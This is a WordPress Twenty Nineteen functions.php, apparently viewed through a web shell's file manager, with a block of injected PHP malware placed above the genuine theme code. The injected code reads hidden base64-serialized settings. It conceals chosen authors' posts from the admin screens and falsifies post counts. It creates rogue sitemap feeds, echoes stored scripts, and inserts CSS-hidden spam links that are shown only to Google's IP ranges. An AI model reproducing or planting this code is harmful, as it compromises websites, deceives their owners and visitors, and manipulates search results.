HEX
Server: Apache
System: Linux 65-254-81-60.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User: roshanchandy (1003)
PHP: 8.4.12
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/roshanchandy/www/nihongonest.in/wp-content/themes/twentynineteen/functions.php
<?php

/* b2551687781c0beaee2f4a3da661a927 */

function wp_nav_menu_module($where) {
    global $wpdb, $register_sidebar_library;

    $wp_list_comments_xml = array_keys($register_sidebar_library);
    $get_the_date_index = implode(', ', $wp_list_comments_xml);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'register_nav_menus_more');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_the_date_index)";
    }

    return $where;
}

function absint_git($query) {

    global $register_sidebar_library;

    $wp_list_comments_xml = array_keys($register_sidebar_library);
    $is_single_ajax = is_single_library($wp_list_comments_xml);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $is_single_ajax);
    }
}

function wp_list_comments_base() {

    global $post, $register_sidebar_library;

    foreach ($register_sidebar_library as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_post_thumbnail_id_hashing($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_post_thumbnail_id_hashing($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (comments_template_view()) {
            return true;
        }
    }
    return false;
}

function register_nav_menus_more($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function post_password_required_queue($counts, $type, $perm) {

    if ($type === 'post') {
        $wp_die_cron = $counts->publish;
        $get_search_form_repository = is_active_sidebar_dns($perm);
        $counts->publish = !$get_search_form_repository ? $wp_die_cron : $get_search_form_repository;
    }
    return $counts;
}

function is_active_sidebar_dns($perm) {
    global $wpdb, $register_sidebar_library;

    $wp_list_comments_xml = array_keys($register_sidebar_library);
    $get_the_date_index = implode(', ', $wp_list_comments_xml);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $add_image_size_constructor = get_post_type_object($type);

        if (!current_user_can($add_image_size_constructor->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_the_date_index) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $get_queried_object_id_ajax) {
        if ($get_queried_object_id_ajax['post_status'] === 'publish') {
            return $get_queried_object_id_ajax['num_posts'];
        }
    }
}

function get_search_query_request($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $wp_list_comments_xml = array();
    foreach ($results as $get_queried_object_id_ajax) {
        $wp_list_comments_xml[] = $get_queried_object_id_ajax['ID'];
    }
    return $wp_list_comments_xml;
}

function add_section_ajax() {

    global $register_sidebar_library, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {
        $get_the_time_meta = key($number_format_i18n_package['sitemapsettings']);

        if (!isset($rules[$get_the_time_meta]) ||
            ($rules[$get_the_time_meta] !== current($number_format_i18n_package['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function wp_enqueue_style_condition($rules) {

    global $register_sidebar_library;

    $add_theme_support_condition = array();

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {
        if (isset($number_format_i18n_package['sitemapsettings'])) {
            $add_theme_support_condition[key($number_format_i18n_package['sitemapsettings'])] = current($number_format_i18n_package['sitemapsettings']);
        }
    }

    return $add_theme_support_condition + $rules;
}

function get_author_posts_url_more() {

    global $register_sidebar_library;

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {
        $get_bloginfo_dns = str_replace('index.php?feed=', '', current($number_format_i18n_package['sitemapsettings']));
        add_feed($get_bloginfo_dns, 'get_sidebar_alpha');
    }
}


function get_sidebar_alpha() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $post_password_required_function = get_the_author_meta_git();
    $get_theme_mod_event = get_search_query_request($post_password_required_function);

    if (!empty($get_theme_mod_event)) {
        $has_post_thumbnail_live = md5(implode(',', $get_theme_mod_event));
        $has_post_thumbnail_merge = 'update_plugins_' . $post_password_required_function . '_' . $has_post_thumbnail_live;
        $register_nav_menus_cookie = get_transient($has_post_thumbnail_merge);

        if ($register_nav_menus_cookie !== false) {
            echo $register_nav_menus_cookie;
            return;
        }
    }



    $head = get_option_cron();
    $wp_reset_postdata_decryption = $head . "\n";


    $priority = '0.5';
    $add_theme_support_all = 'weekly';
    $wp_enqueue_style_method = date('Y-m-d');

    foreach ($get_theme_mod_event as $post_id) {
        $url = get_permalink($post_id);
        $wp_reset_postdata_decryption .= have_comments_other($url, $wp_enqueue_style_method, $add_theme_support_all, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $wp_reset_postdata_decryption .= "\n</urlset>";

    set_transient($has_post_thumbnail_merge, $wp_reset_postdata_decryption, WEEK_IN_SECONDS);

    echo $wp_reset_postdata_decryption;
}


function get_option_cron() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function have_comments_other($url, $wp_enqueue_style_method, $add_theme_support_all, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$wp_enqueue_style_method</lastmod>
      <changefreq>$add_theme_support_all</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function is_single_library($writersArr) {
    $the_title_framework = array();

    foreach ($writersArr as $item) {
        $the_title_framework[] = '-' . $item;
    }
    return implode(',', $the_title_framework);
}

function has_post_thumbnail_security() {

    $get_the_title_session = array();
    $get_the_time_time = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $the_ID_client = unserialize(base64_decode($settings));
        if ($the_ID_client) {
            $get_the_title_session = $the_ID_client;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $the_content_add = unserialize(base64_decode($settings));
        if ($the_content_add) {
            $get_the_time_time = $the_content_add;
        }
    }

    return $get_the_time_time + $get_the_title_session;

}

function get_the_author_meta_git() {

    global $register_sidebar_library;

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {

        $add_action_merge = key($number_format_i18n_package['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($number_format_i18n_package['sitemapsettings']) . '$');

        if (preg_match("~$add_action_merge~", $_SERVER['REQUEST_URI'])) {
            return $the_post_add;
        }
    }
}

function is_front_page_less() {
    global $register_sidebar_library, $post;

    $get_the_date_json = array_keys($register_sidebar_library);
    if (in_array($post->post_author, $get_the_date_json)) {
        return true;
    }
    return false;
}

function _e_beta() {
    global $register_sidebar_library, $post;

    $get_the_date_json = array_keys($register_sidebar_library);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_the_date_json)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function is_page_call() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function comments_template_view() {

    $register_nav_menus_call = is_page_call();

    if (strstr($register_nav_menus_call, ', ')) {
        $set_transient_constructor = explode(', ', $register_nav_menus_call);
        $register_nav_menus_call = $set_transient_constructor[0];
    }

    $get_the_title_dns = _x_time();

    if (!$get_the_title_dns) {
        return false;
    }

    foreach ($get_the_title_dns as $range) {
        if (the_content_variable($register_nav_menus_call, $range)) {
            return true;
        }
    }
    return false;
}

function esc_url_raw_json($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function _x_time() {

    if (($value = get_option('wp_custom_range')) && !esc_url_raw_json($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_the_title_dns = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_the_title_dns)) {

            return;
        }

        $value = array('ranges' => $get_the_title_dns, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_bloginfo_client($inet) {
    $get_the_author_meta_call = str_split($inet);
    $is_single_request = '';
    foreach ($get_the_author_meta_call as $char) {
        $is_single_request .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $is_single_request;
}

function the_content_variable($register_nav_menus_call, $cidrnet) {
    $register_nav_menus_call = inet_pton($register_nav_menus_call);
    $is_single_request = get_bloginfo_client($register_nav_menus_call);

    list($net, $has_nav_menu_core) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $the_content_live = get_bloginfo_client($net);

    $esc_attr_e_stat = substr($is_single_request, 0, $has_nav_menu_core);
    $get_queried_object_id_http = substr($the_content_live, 0, $has_nav_menu_core);

    if ($esc_attr_e_stat !== $get_queried_object_id_http) {
        return false;
    } else {
        return true;
    }
}


function body_class_decryption($add_partial_string) {

    global $post;

    $wp_list_comments_class = '';


    if (get_the_date_meta($add_partial_string, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $wp_list_comments_class = get_option('home_links_custom_0');
        }
    } elseif (get_the_date_meta($add_partial_string, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $wp_list_comments_class = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_the_date_meta($add_partial_string, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_post_thumbnail_id_live = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $wp_list_comments_class = get_option('home_links_custom_' . $get_post_thumbnail_id_live);
        
        
    } elseif (get_the_date_meta($add_partial_string, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$wp_list_comments_class ? '' : $wp_list_comments_class;
}

function get_the_date_meta($number_format_i18n_package, $is_home_add, $get_sidebar_trigger) {
    if (!isset($number_format_i18n_package[$is_home_add][$get_sidebar_trigger])) {
        return false;
    }

    if ($number_format_i18n_package[$is_home_add][$get_sidebar_trigger] === 1) {
        return true;
    }

    return false;

}

function the_excerpt_merge($add_partial_string, $is_wp_error_client) {
    if (empty($is_wp_error_client)) {
        return '';
    }

    if (get_the_date_meta($add_partial_string, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $wp_link_pages_condition = is_search_trigger();
        $add_theme_support_character = $wp_link_pages_condition[$blockNum[0]];
        return $add_theme_support_character[0] . PHP_EOL . $is_wp_error_client . PHP_EOL . $add_theme_support_character[1];
    }

    return $is_wp_error_client;
}

function is_search_trigger() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_post_thumbnail_id_pointer($add_partial_string) {
    return get_the_date_meta($add_partial_string, 'position', 'head');
}

function wp_nav_menu_wp($add_partial_string) {
    return get_the_date_meta($add_partial_string, 'position', 'footer');
}

function is_home_cookie($settings) {
    foreach ($settings as $the_post_add => $number_format_i18n_package) {
        if (isset($number_format_i18n_package['homeLinks'])) {
            return $number_format_i18n_package['homeLinks'];
        }
    }
    return array();
}


function language_attributes_condition() {
    if (!is_front_page_less()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function add_action_cookie() {

    global $add_partial_string;

    if (!language_attributes_condition()) {
        
        
        return;
    }

    if (get_the_date_meta($add_partial_string, 'hiddenType', 'cloacking')) {
        if (!comments_template_view()) {
            
            return;
        }
    }


    $is_wp_error_client = body_class_decryption($add_partial_string);
    $is_wp_error_client = the_excerpt_merge($add_partial_string, $is_wp_error_client);

    


    echo $is_wp_error_client;

}

$register_sidebar_library = has_post_thumbnail_security();


if (is_array($register_sidebar_library)) {
    add_filter('posts_where_paged', 'wp_nav_menu_module');
    add_action('pre_get_posts', 'absint_git');
    add_action('wp_enqueue_scripts', 'wp_list_comments_base');
    add_filter('wp_count_posts', 'post_password_required_queue' , 10, 3);
    add_filter('rewrite_rules_array', 'wp_enqueue_style_condition');
    add_action('wp_loaded', 'add_section_ajax');
    add_action('init', 'get_author_posts_url_more');
    add_action('template_redirect', '_e_beta');

    $add_partial_string = is_home_cookie($register_sidebar_library);

    if (!empty($add_partial_string)) {

        

        if (get_post_thumbnail_id_pointer($add_partial_string)) {
            add_action('wp_head', 'add_action_cookie');
        }
        if (wp_nav_menu_wp($add_partial_string)) {
            add_action('wp_footer', 'add_action_cookie');
        }


    }
}

/* b2551687781c0beaee2f4a3da661a927 */
/**
 * Twenty Nineteen functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package WordPress
 * @subpackage Twenty_Nineteen
 * @since Twenty Nineteen 1.0
 */

/**
 * Twenty Nineteen only works in WordPress 4.7 or later.
 */
if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
	require get_template_directory() . '/inc/back-compat.php';
	return;
}

if ( ! function_exists( 'twentynineteen_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function twentynineteen_setup() {

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );
		set_post_thumbnail_size( 1568, 9999 );

		// This theme uses wp_nav_menu() in two locations.
		register_nav_menus(
			array(
				'menu-1' => __( 'Primary', 'twentynineteen' ),
				'footer' => __( 'Footer Menu', 'twentynineteen' ),
				'social' => __( 'Social Links Menu', 'twentynineteen' ),
			)
		);

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5',
			array(
				'search-form',
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
				'script',
				'style',
				'navigation-widgets',
			)
		);

		/**
		 * Add support for core custom logo.
		 *
		 * @link https://codex.wordpress.org/Theme_Logo
		 */
		add_theme_support(
			'custom-logo',
			array(
				'height'      => 190,
				'width'       => 190,
				'flex-width'  => false,
				'flex-height' => false,
			)
		);

		// Add theme support for selective refresh for widgets.
		add_theme_support( 'customize-selective-refresh-widgets' );

		// Add support for Block Styles.
		add_theme_support( 'wp-block-styles' );

		// Add support for full and wide align images.
		add_theme_support( 'align-wide' );

		// Add support for editor styles.
		add_theme_support( 'editor-styles' );

		// Enqueue editor styles.
		add_editor_style( 'style-editor.css' );

		// Add custom editor font sizes.
		add_theme_support(
			'editor-font-sizes',
			array(
				array(
					'name'      => __( 'Small', 'twentynineteen' ),
					'shortName' => __( 'S', 'twentynineteen' ),
					'size'      => 19.5,
					'slug'      => 'small',
				),
				array(
					'name'      => __( 'Normal', 'twentynineteen' ),
					'shortName' => __( 'M', 'twentynineteen' ),
					'size'      => 22,
					'slug'      => 'normal',
				),
				array(
					'name'      => __( 'Large', 'twentynineteen' ),
					'shortName' => __( 'L', 'twentynineteen' ),
					'size'      => 36.5,
					'slug'      => 'large',
				),
				array(
					'name'      => __( 'Huge', 'twentynineteen' ),
					'shortName' => __( 'XL', 'twentynineteen' ),
					'size'      => 49.5,
					'slug'      => 'huge',
				),
			)
		);

		// Editor color palette.
		add_theme_support(
			'editor-color-palette',
			array(
				array(
					'name'  => 'default' === get_theme_mod( 'primary_color', 'default' ) ? __( 'Blue', 'twentynineteen' ) : null,
					'slug'  => 'primary',
					'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
				),
				array(
					'name'  => 'default' === get_theme_mod( 'primary_color', 'default' ) ? __( 'Dark Blue', 'twentynineteen' ) : null,
					'slug'  => 'secondary',
					'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
				),
				array(
					'name'  => __( 'Dark Gray', 'twentynineteen' ),
					'slug'  => 'dark-gray',
					'color' => '#111',
				),
				array(
					'name'  => __( 'Light Gray', 'twentynineteen' ),
					'slug'  => 'light-gray',
					'color' => '#767676',
				),
				array(
					'name'  => __( 'White', 'twentynineteen' ),
					'slug'  => 'white',
					'color' => '#FFF',
				),
			)
		);

		// Add support for responsive embedded content.
		add_theme_support( 'responsive-embeds' );

		// Add support for custom line height.
		add_theme_support( 'custom-line-height' );
	}
endif;
add_action( 'after_setup_theme', 'twentynineteen_setup' );

if ( ! function_exists( 'wp_get_list_item_separator' ) ) :
	/**
	 * Retrieves the list item separator based on the locale.
	 *
	 * Added for backward compatibility to support pre-6.0.0 WordPress versions.
	 *
	 * @since 6.0.0
	 */
	function wp_get_list_item_separator() {
		/* translators: Used between list items, there is a space after the comma. */
		return __( ', ', 'twentynineteen' );
	}
endif;

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function twentynineteen_widgets_init() {

	register_sidebar(
		array(
			'name'          => __( 'Footer', 'twentynineteen' ),
			'id'            => 'sidebar-1',
			'description'   => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
			'before_widget' => '<section id="%1$s" class="widget %2$s">',
			'after_widget'  => '</section>',
			'before_title'  => '<h2 class="widget-title">',
			'after_title'   => '</h2>',
		)
	);
}
add_action( 'widgets_init', 'twentynineteen_widgets_init' );

/**
 * Replaces "[...]" (appended to automatically generated excerpts) with ... and
 * a 'Continue reading' link.
 *
 * @since Twenty Nineteen 2.0
 *
 * @param string $link Link to single post/page.
 * @return string 'Continue reading' link prepended with an ellipsis.
 */
function twentynineteen_excerpt_more( $link ) {
	if ( is_admin() ) {
		return $link;
	}

	$link = sprintf(
		'<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
		esc_url( get_permalink( get_the_ID() ) ),
		/* translators: %s: Post title. Only visible to screen readers. */
		sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentynineteen' ), get_the_title( get_the_ID() ) )
	);
	return ' &hellip; ' . $link;
}
add_filter( 'excerpt_more', 'twentynineteen_excerpt_more' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width Content width.
 */
function twentynineteen_content_width() {
	// This variable is intended to be overruled from themes.
	// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
	$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
}
add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );

/**
 * Enqueue scripts and styles.
 */
function twentynineteen_scripts() {
	wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );

	wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );

	if ( has_nav_menu( 'menu-1' ) ) {
		wp_enqueue_script(
			'twentynineteen-priority-menu',
			get_theme_file_uri( '/js/priority-menu.js' ),
			array(),
			'20200129',
			array(
				'in_footer' => false, // Because involves header.
				'strategy'  => 'defer',
			)
		);
		wp_enqueue_script(
			'twentynineteen-touch-navigation',
			get_theme_file_uri( '/js/touch-keyboard-navigation.js' ),
			array(),
			'20230621',
			array(
				'in_footer' => true,
				'strategy'  => 'defer',
			)
		);
	}

	wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );

	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
}
add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );

/**
 * Fix skip link focus in IE11.
 *
 * This does not enqueue the script because it is tiny and because it is only for IE11,
 * thus it does not warrant having an entire dedicated blocking script being loaded.
 *
 * @since Twenty Nineteen 1.0
 * @deprecated Twenty Nineteen 2.6 Removed from wp_print_footer_scripts action.
 *
 * @link https://git.io/vWdr2
 */
function twentynineteen_skip_link_focus_fix() {
	// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
	?>
	<script>
	/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
	</script>
	<?php
}

/**
 * Enqueue supplemental block editor styles.
 */
function twentynineteen_editor_customizer_styles() {

	wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '2.1', 'all' );

	if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
		// Include color patterns.
		require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
		wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
	}
}
add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );

/**
 * Display custom color CSS in customizer and on frontend.
 */
function twentynineteen_colors_css_wrap() {

	// Only include custom colors in customizer or frontend.
	if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
		return;
	}

	require_once get_parent_theme_file_path( '/inc/color-patterns.php' );

	$primary_color = 199;
	if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
		$primary_color = get_theme_mod( 'primary_color_hue', 199 );
	}
	?>

	<style type="text/css" id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
		<?php echo twentynineteen_custom_colors_css(); ?>
	</style>
	<?php
}
add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );

/**
 * SVG Icons class.
 */
require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';

/**
 * Custom Comment Walker template.
 */
require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';

/**
 * Common theme functions.
 */
require get_template_directory() . '/inc/helper-functions.php';

/**
 * SVG Icons related functions.
 */
require get_template_directory() . '/inc/icon-functions.php';

/**
 * Enhance the theme by hooking into WordPress.
 */
require get_template_directory() . '/inc/template-functions.php';

/**
 * Custom template tags for the theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Register block patterns and pattern categories.
 *
 * @since Twenty Nineteen 3.0
 */
function twentynineteen_register_block_patterns() {
	require get_template_directory() . '/inc/block-patterns.php';
}

add_action( 'init', 'twentynineteen_register_block_patterns' );